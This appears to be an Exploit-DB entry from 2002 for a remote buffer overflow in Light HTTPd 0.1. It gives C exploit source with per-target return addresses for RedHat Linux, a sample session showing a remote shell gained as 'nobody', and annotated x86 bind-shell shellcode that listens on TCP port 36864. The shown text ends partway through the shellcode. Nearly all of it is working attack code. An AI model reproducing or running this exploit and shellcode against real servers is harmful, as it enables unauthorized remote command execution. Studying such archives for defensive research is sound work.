Exploit-DB #22012
Description: Light HTTPd 0.1 - 'GET' Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2002-11-12
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/6162/info

Light httpd is prone to a remotely exploitable buffer overflow condition. This overflow can be triggered by sending the server an excessively long GET request. As Light httpd drops user privileges when running, exploitation of this issue may result in the execution of arbitrary attacker-supplied commands with the privileges of the 'nobody' user. 

/*
**
** Proof of Concept LIGHT HTTPd Remote exploit
**                                by Xpl017Elz
** __
** Testing exploit:
**
** bash$ ./0x82-Remote.lhttpdxpl -h 61.37.xx.xx -t 3
**
**  Proof of Concept LIGHT HTTPd Remote exploit
**                                 by Xpl017Elz
**
**  Try `./0x82-Remote.lhttpdxpl -?' for more information.
**
**  [1] Make shellcode.
**  [2] Send exploit (bindshell) code.
**  [3] Waiting, executes the shell !
**  [4] Trying 61.37.xx.xx:36864 ...
**  [5] Connected to 61.37.xx.xx:36864 !
**
**  [*] It's shell ! :-)
**
** Linux testsub 2.4.2-3 #1 Sun Jun 24 01:31:37 KST 2001 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),
** 4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
** Special Greets: INetCop team.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>

#define HOST "localhost"
#define PORT 3000

struct os
{
    int num;
    char *os;
    int offset;
    unsigned long shaddr;
    int atlen;
};

struct os plat[] =
{
    /* olny test */
    {0,"RedHat Linux 6.x localhost lhttpd",1,0xbfffb744,160},
    {1,"RedHat Linux 6.x remote lhttpd",0,0xbfffb608,150},
    {2,"RedHat Linux 7.x localhost lhttpd",3,0xbfffb650,150},
    {3,"RedHat Linux 7.x remote lhttpd",2,0xbfffb650,160},
    {4,NULL,0,0}
};

int setsock(char *hostname,int port);
void getshell(int sock);
void usage(char *args);
void banrl(char *args);
int main(int argc,char *argv[])
{
    int sockfd1;
    int sockfd2;
    int ax82,bx82,cx82,dx82;
    int type=0;
    int port=PORT;
    int atlen=plat[type].atlen;
    int off=plat[type].offset;
    char offbuf[10];
    char hostname[0x82]=HOST;

    char ptbind[] = /* BIND SHELL ON PORT TCP/36864 */
        //------------------- main: -------------------//
        "\xeb\x72"                        /* jmp callz */
        //------------------- start: ------------------//
        "\x5e"                            /* popl %esi */
        //------------------ socket() -----------------//
        "\x29\xc0"                  /* subl %eax, %eax */
        "\x89\x46\x10"        /* movl %eax, 0x10(%esi) */
        "\x40"                            /* incl %eax */
        "\x89\xc3"                  /* movl %eax, %ebx */
        "\x89\x46\x0c"        /* movl %eax, 0x0c(%esi) */
        "\x40"                            /* incl %eax */
        "\x89\x46\x08"        /* movl %eax, 0x08(%esi) */
        "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
        "\xb0\x66"                  /* movb $0x66, %al */
        "\xcd\x80"                        /* int $0x80 */
        //------------------- bind() ------------------//
        "\x43"                            /* incl %ebx */
        "\xc6\x46\x10\x10"   /* movb $0x10, 0x10(%esi) */
        "\x66\x89\x5e\x14"     /* movw %bx, 0x14(%esi) */
        "\x88\x46\x08"         /* movb %al, 0x08(%esi) */
        "\x29\xc0"                  /* subl %eax, %eax */
        "\x89\xc2"                  /* movl %eax, %edx */
        "\x89\x46\x18"        /* movl %eax, 0x18(%esi) */
        "\xb0\x90"                  /* movb $0x90, %al */
        "\x66\x89\x46\x16"     /* movw %ax, 0x16(%esi) */
        "\x8d\x4e\x14"        /* leal 0x14(%esi), %ecx */
        "\x89\x4e\x0c"        /* movl %ecx, 0x0c(%esi) */
        "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
        "\xb0\x66"                  /* movb $0x66, %al */
        "\xcd\x80"                        /* int $0x80 */
        //------------------ listen() -----------------//
        "\x89\x5e\x0c"        /* movl %ebx, 0x0c(%esi) */
        "\x43"                            /* incl %ebx */
        "\x43"                            /* incl %ebx */
        "\xb0\x66"                  /* movb $0x66, %al */
        "\xcd\x80"                        /* int $0x80 */
        //------------------ accept() -----------------//
        "\x89\x56\x0c"        /* movl %edx, 0x0c(%esi) */
        "\x89\x56\x10"        /* movl %edx, 0x10(%esi) */
        "\xb0\x66"                  /* movb $0x66, %al */
        "\x43"                            /* incl %ebx */
        "\xcd\x80"                        /* int $0x80 */
        //---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
        "\x86\xc3"                   /* xchgb %al, %bl */
        "\xb0\x3f"                  /* movb $0x3f, %al */
        "\x29\xc9"                  /* subl %ecx, %ecx */
        "\xcd\x80"                        /* int $0x80 */
        "\xb0\x3f"                  /* movb $0x3f, %al */
        "\x41"                            /* incl %ecx */
        "\xcd\x80"                        /* int $0x80 */
        "\xb0\x3f"                  /* movb $0x3f, %al */
        "\x41"                            /* incl %ecx */
        "\xcd\x80"                        /* int $0x80 */
        //------------------ execve() -----------------//
        "\x88\x56\x07"         /* movb %dl, 0x07(%esi) */
        "\x89\x76\x0c"        /* movl %esi, 0x0c(%esi) */
        "\x87\xf3"                 /* xchgl %esi, %ebx */
        "\x8d\x4b\x0c"        /* leal 0x0c(%ebx), %ecx */
        "\xb0\x0b"                  /* movb $0x0b, %al */
        "\xcd\x80"                        /* int $0x80 */
        //------------------- callz: ------------------//
        "\xe8\x89\xff\xff\xff"           /* call start